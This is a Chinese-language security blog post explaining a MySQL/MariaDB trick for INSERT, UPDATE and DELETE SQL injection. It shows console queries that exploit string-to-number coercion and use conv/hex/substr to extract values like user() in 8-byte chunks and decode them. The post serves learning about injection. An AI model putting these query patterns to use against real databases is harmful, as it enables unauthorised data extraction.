看到P牛的一篇文章,提到几个trick,其中在MySQL5.7 INSERT注入方法。
然后找了一些资料学习了一波。

先来看个简单的例子

1
2
3
4
5
6
7
MariaDB [sqlitest]> select 'bey0nd' = 0 ;
+--------------+
| 'bey0nd' = 0 |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
1
2
3
4
5
6
7
MariaDB [sqlitest]> select 'bey0nd' = 1 ;
+--------------+
| 'bey0nd' = 1 |
+--------------+
| 0 |
+--------------+
1 row in set, 1 warning (0.00 sec)

从上面的例子来看,MySQL对于这种情况下字符串的处理方式,直接当成0来处理。

1
2
3
4
5
6
7
MariaDB [sqlitest]> select 'bey0nd' + 66 ;
+---------------+
| 'bey0nd' + 66 |
+---------------+
| 66 |
+---------------+
1 row in set, 1 warning (0.00 sec)

当字符串与数字进行运算,也是同样的道理。

实际上,MySQL把字符串当成了8bytes的double类型。

如下

1
2
3
4
5
6
7
MariaDB [sqlitest]> select (~0+0e0) = ('bey0nd' + ~0) ;
+----------------------------+
| (~0+0e0) = ('bey0nd' + ~0) |
+----------------------------+
| 1 |
+----------------------------+
1 row in set, 1 warning (0.00 sec)

那我们在注入的时候,就可以把一些数据转换为数字的形式,从而获取MySQL数据。

1
2
3
4
5
6
7
MariaDB [sqlitest]> select conv(hex(version()), 16, 10);
+------------------------------+
| conv(hex(version()), 16, 10) |
+------------------------------+
| 18446744073709551615 |
+------------------------------+
1 row in set (0.00 sec)

而对于转换后的数字,再转换为原有数据时,如果原有数据大于8位。就会出错。所以在获取数据时需要进行拆分。

获取user()为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MariaDB [sqlitest]> select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |
+--------------------------------------------------------+
| 8245931987826405219 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [sqlitest]> select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |
+--------------------------------------------------------+
| 107118236496756 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

转换回去

1
2
3
4
5
6
7
MariaDB [sqlitest]> select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16)));
+----------------------------------------------------------------------------------------+
| concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |
+----------------------------------------------------------------------------------------+
| root@localhost |
+----------------------------------------------------------------------------------------+
1 row in set (0.01 sec)

在遇见insert、update、delete类型的注入时,就可以根据情况来进行构造。